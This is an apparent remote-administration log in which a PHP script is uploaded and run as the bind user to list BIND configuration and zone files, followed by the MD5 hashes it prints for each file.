MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:05:14: Establishing a connection
2026-07-15 13:05:14: 

PUT: /tmp/pkp800856

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:05:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp800856; rm /tmp/pkp800856'

2026-07-15 13:05:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
